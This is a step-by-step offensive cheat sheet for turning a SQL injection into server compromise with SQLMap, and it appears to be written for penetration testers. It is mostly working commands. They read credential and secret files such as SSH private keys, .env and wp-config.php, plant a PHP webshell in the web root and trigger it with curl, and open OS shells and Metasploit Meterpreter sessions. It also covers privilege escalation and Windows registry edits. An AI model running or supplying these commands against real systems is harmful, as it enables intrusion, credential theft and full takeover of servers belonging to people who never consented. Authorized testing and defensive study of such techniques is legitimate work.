A confirmed SQLi plus sufficient DB privileges lets SQLMap drop a file, read a file, or hand you an interactive OS shell. The ceiling is set by privilege, not injection — DBA alone doesn’t guarantee filesystem write; filesystem write doesn’t guarantee a path to a web-served directory.
Step 1: Check DBA — --is-dba
sqlmap -u "http://target/?id=1" --is-dbacurrent user is DBA: True
current user is DBA: False
DBA ≠ OS root
DBA means the DB user has admin rights inside the DBMS. The DBMS process itself runs under some OS account (
mysql,postgres,NETWORK SERVICE) with that account’s filesystem permissions. Writing to/var/www/html/requires the DBMS process owner to have write permission there.
Step 2: File Read — --file-read
sqlmap -u "http://target/?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target/?id=1" --file-read="/var/www/html/config.php"
sqlmap -u "http://target/?id=1" --file-read="C:/Windows/win.ini"Downloaded files land in:
~/.sqlmap/output/<target>/files/_etc_passwd
Retrieval Troubleshooting
If a binary or large file fails:
--no-cast # skip CAST() wrapping
--hex # retrieve hex-encoded then decode locallyFiles Worth Reading First
/etc/passwd # confirm read primitive
/etc/hosts
/etc/mysql/my.cnf # DB config
/var/www/html/config.php
/var/www/html/.env
/var/www/html/wp-config.php
/root/.bash_history
/home/<user>/.ssh/id_rsa
C:\Windows\win.ini # Windows read primitive
C:\inetpub\wwwroot\web.config
C:\xampp\apache\conf\httpd.conf
Step 3: File Write — --file-write + --file-dest
Writing requires FILE privilege (MySQL) or equivalent. Modern configs usually block it (secure_file_priv), so expect this to fail against hardened targets.
# Prepare webshell locally
cat > shell.php <<'EOF'
<?php system($_GET['c']); ?>
EOF
# Push to web root
sqlmap -u "http://target/?id=1" \
--file-write="shell.php" \
--file-dest="/var/www/html/s.php"
# Trigger
curl "http://target/s.php?c=id"SQLMap compares local vs remote file sizes to confirm the write landed.
Finding the web root
Read the web server config first (
/etc/apache2/apache2.conf,/etc/nginx/nginx.conf,C:/xampp/apache/conf/httpd.conf) to confirmDocumentRootbefore guessing.
Step 4: OS Shell — --os-shell
Interactive OS shell through the SQLi.
sqlmap -u "http://target/?id=1" --os-shellSQLMap will ask:
- Server-side language —
[1] ASP [2] ASPX [3] JSP [4] PHP (default) - Web root location —
[1] common locations [2] custom [3] list file [4] brute force
Then drops into:
os-shell> id
os-shell> whoami
os-shell> x # exit
Mechanism: SQLMap uploads a stager through SQLi (SELECT ... INTO OUTFILE or xp_cmdshell, depending on DBMS), then executes commands via subsequent HTTP requests.
Step 5: One-Shot Commands — --os-cmd
Same as --os-shell but non-interactive:
sqlmap -u "http://target/?id=1" --os-cmd="id"
sqlmap -u "http://target/?id=1" --os-cmd="whoami /priv" --technique=EForce error-based for OS execution
If
--os-shellreturns “No output”, retry with--technique=E. Error-based returns command output inline via DBMS error strings; boolean/time-based blind often returnsNo outputeven though the command executed.
Step 6: Metasploit Pivot — --os-pwn
Drop a Meterpreter session (or VNC / shellcode) via msfconsole:
sqlmap -u "http://target/?id=1" --os-pwnSQLMap prompts for payload type (Meterpreter / shellcode / VNC), connection type (reverse / bind), LHOST/LPORT, and either invokes a local msfconsole listener or generates the payload and tells you what to catch.
Related:
--os-bof # buffer overflow exploitation (MSSQL sp_replwritetovarbin)
--priv-esc # Metasploit getsystem / local privesc
--msf-path=<path> # Metasploit install pathWindows Registry — MSSQL
With DBA on MSSQL:
--reg-read --reg-key="HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion" --reg-value="ProgramFilesDir"
--reg-add --reg-key="..." --reg-value="..." --reg-data="..." --reg-type=REG_SZ
--reg-del --reg-key="..." --reg-value="..."Command Reference
# Privilege
--is-dba Check DBA
# File read/write
--file-read=<remote> Download file from DB host
--file-write=<local> Local file to push
--file-dest=<remote-path> Destination on DB host
--no-cast Skip CAST() retrieval wrap
--hex Hex-encode retrieval
# OS execution
--os-shell Interactive OS shell
--os-cmd="<cmd>" Single command
--os-pwn Meterpreter / VNC via Metasploit
--os-bof Buffer overflow exploitation
--priv-esc Metasploit getsystem
# MSSQL registry
--reg-read / --reg-add / --reg-del
--reg-key / --reg-value / --reg-data / --reg-type
# Technique
--technique=E Force error-based (for --os-shell output)
# Automation
--batch Default answers to all prompts
Overall Flow
SQLi confirmed
│
▼
--is-dba
│
├── False → file ops unlikely but try --file-read anyway
│
└── True
│
├── Read primitive
│ --file-read=/etc/passwd
│ ↓ read web config → find DocumentRoot
│ ↓ read app config → secrets (.env, wp-config.php)
│
├── Write primitive
│ --file-write=shell.php --file-dest=<webroot>/s.php
│ ↓ curl http://target/s.php?c=id
│
└── OS execution
--os-shell (or --os-cmd="...")
↓ if No output: retry --technique=E
↓ for full session: --os-pwn
Clean up
--file-writeand--os-shellleave stager files on the target (named something liketmpuxxxxx.php). Remove them before closing the engagement — SQLMap doesn’t auto-clean.
